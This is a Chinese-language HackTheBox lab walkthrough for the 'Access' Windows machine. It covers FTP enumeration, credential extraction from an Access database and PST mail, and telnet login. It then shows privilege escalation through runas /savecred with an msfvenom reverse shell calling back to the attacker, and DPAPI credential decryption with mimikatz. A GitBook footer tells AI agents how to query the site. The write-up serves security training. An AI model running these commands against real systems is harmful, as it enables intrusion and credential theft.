> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md). # Access HackTheBox 复盘 {% embed url="" %} {% hint style="warning" %} **技能：** * FTP 枚举 * Microsoft Access 数据库提取 * PST 分析，Windows 存储的凭据 * DPAPI。 {% endhint %} ## 侦察创建一个工作区并确认目标可达。 {% code overflow="wrap" %} ```bash mkdir Access cd !$ ping -c 1 10.129.6.20 settarget Access 10.129.6.20 ``` {% endcode %} 目标是一台 Windows 主机。

执行完整的 TCP 端口扫描。 {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.20 -oG allPorts ``` {% endcode %}

扫描在端口上识别出 FTP、Telnet 和 HTTP `21`, `23`，以及 `80`. 枚举它们的服务版本。 {% code overflow="wrap" %} ```bash nmap -sCV -p21,23,80 10.129.6.20 -oN targeted ``` {% endcode %}

已启用匿名 FTP 访问。 {% code overflow="wrap" %} ```bash ftp anonymous@10.129.6.20 ``` {% endcode %} FTP 服务器包含 `备份` 和 `工程师` 目录。

下载 `backup.mdb` 从 `备份` 以二进制模式。下载 `Access Control.zip` 从 `工程师`.

列出 Microsoft Access 数据库中的表。 {% code overflow="wrap" %} ```bash mdb-tables backup.mdb ``` {% endcode %}

将每个表导出为 CSV 以供查看。 {% code overflow="wrap" %} ```bash for table in $(mdb-tables backup.mdb); do mdb-export backup.mdb "$table" > "$table.csv" done ``` {% endcode %}

该 `auth_user.csv` 导出内容包含凭据。 {% code overflow="wrap" %} ```bash id,username,password,Status,last_login,RoleID,Remark 25,"admin","admin",1,"08/23/18 21:11:47",26, 27,"engineer","access4u@security",1,"08/23/18 21:13:36",26, 28,"backup_admin","admin",1,"08/23/18 21:14:02",26, ``` {% endcode %}

使用 `engineer` 解压该压缩包的密码。 {% code overflow="wrap" %} ```bash 7z x Access\ Control.zip access4u@security ``` {% endcode %} 该压缩包包含一个 Outlook PST 文件。 > Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e

提取 PST 邮件。 {% code overflow="wrap" %} ```bash readpst -cv -e -o output Access\ Control.pst ``` {% endcode %} 这将创建一个 `.eml` 邮件。

这封电子邮件透露了 `security` 账户密码。 {% code overflow="wrap" %} ```bash 你好， “security” 账户的密码已更改为 4Cc3ssC0ntr0ller。请确保将此信息传达给你的工程师。此致， John ``` {% endcode %}

以 `security`. {% code overflow="wrap" %} ```bash telnet 10.129.6.20 23 ``` {% endcode %} * security * 4Cc3ssC0ntr0ller

获取 `user.txt`.

### 利用存储的凭据进行权限提升列出 Windows 存储的凭据。 {% code overflow="wrap" %} ```bash cmdkey /list ``` {% endcode %}

存储的 `ACCESS\Administrator` 凭据可以使用 `runas /savecred`. 创建一个反向 shell 载荷。 {% code overflow="wrap" %} ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.2 LPORT=1234 -f exe > nikos.exe ``` {% endcode %} 传输 `nikos.exe` 到目标。然后在端口上启动监听器 `1234`. {% code overflow="wrap" %} ```bash nc -nlvp 1234 ``` {% endcode %} 以 `ACCESS\Administrator`. {% code overflow="wrap" %} ```bash runas /savecred /user:ACCESS\Administrator "nikos.exe" ``` {% endcode %} 回连以管理员身份运行。

获取 `root.txt`.

### 恢复已保存的管理员凭据已保存的凭据受 DPAPI 保护。从 `security` 配置文件中恢复其机密。 #### 定位凭据 blob 这些 blob 位于 `security` 配置文件中。使用 `/a` 因为文件是隐藏的。 {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Credentials ``` {% endcode %} * `0F16D9D2A97B325E559235F507B7AB01` * `51AB168BE4BDB3A603DADE4F8CA81290`

正确的 blob 是 `51AB168BE4BDB3A603DADE4F8CA81290`。其 `08/22/2018` 时间戳与公共桌面 `.lnk` 文件。另一个 blob 是在评估期间创建的。 #### 识别主密钥 GUID 检查该 blob 以识别其所需的 DPAPI 主密钥。 {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290" "exit" ``` {% endcode %} 记下主密钥 GUID。 * guidMasterKey: 0792c32e-48a5-4fe3-8b43-d93d64590580

#### 在 LSASS 中检查主密钥转储加载到 LSASS 中的 DPAPI 主密钥。 {% code overflow="wrap" %} ```bash mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit" ``` {% endcode %} 所需的 GUID `{0792c32e-...}` 不存在。这是因为： * 该主密钥属于 `security` 配置文件中恢复其机密。 * 当前会话以 `管理员`. * 该 `security` 在此上下文中未加载主密钥。转储中只包含以下对象的主密钥： `管理员` 和 `ACCESS$`. ``` GUID : {9851d4a5-f9b1-4277-b4ee-188e11f8e997} → 管理员 GUID : {43ea2159-28dc-4507-90bd-751f19e7db5d} → ACCESS$ ``` #### 从磁盘解密主密钥直接从磁盘解密主密钥。使用已知的 `security` 密码的用户的凭据。首先，定位主密钥文件。 {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001 ``` {% endcode %} {% hint style="info" %} 该 `security` SID 以 `-1001`. 管理员 SID 以 `-500`. {% endhint %} 使用 Mimikatz 解密主密钥。 {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::masterkey /in:C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller" "exit" ``` {% endcode %} 主密钥的 SHA-1 是 `bf6d0654ef999c3ad5b09692944da3c0d0b68afe`.

#### 解密凭据 blob 使用主密钥 SHA-1 解密凭据 blob 并恢复已保存的密码。 {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290 /masterkey:bf6d0654ef999c3ad5b09692944da3c0d0b68afe" "exit" ``` {% endcode %}

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.